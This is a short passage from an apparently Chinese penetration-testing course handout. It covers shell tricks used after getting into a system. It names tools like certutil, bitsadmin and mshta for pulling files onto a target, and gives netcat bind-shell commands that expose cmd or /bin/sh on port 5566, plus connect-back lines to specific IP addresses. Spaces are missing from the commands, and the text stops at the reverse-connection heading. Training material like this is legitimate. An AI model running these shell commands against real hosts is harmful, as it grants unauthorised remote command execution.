Web与APP安全渗透技术及实战案例.pdfVIP

演示案例：

➢实用案例1：文件上传-解决无图形化解决数据传输

➢实用案例2：反弹Shell命令-解决数据回显解决数据通讯

➢实际案例1：绕过-正向连接反向连接内网服务器

➢实际案例2：组合数据不回显-ICMP带外查询Dnslog

#常规基本渗透命令详解

#实用案例1：文件上传-解决无图形化解决数据传输

命令生成：

Linux：wgetcurlpythonrubyperljava等

Windows：PowerShellCertutilBitsadminmsiexecmshtarundll32等

#实用案例2：反弹Shell命令-解决数据回显解决数据通讯

命令生成：

1、正向连接：本地等待对方连接

Linux控制Windows

//绑定CMD到本地5566端口

nc-ecmd-lvp5566

//主动连接目标5566

ncat47.122.23.1315566

Windows控制Linux

//绑定SH到本地5566端口

ncat-e/bin/sh-lvp5566

//主动连接目标5566

nc47.94.236.1175566

2、反向连接：主动给出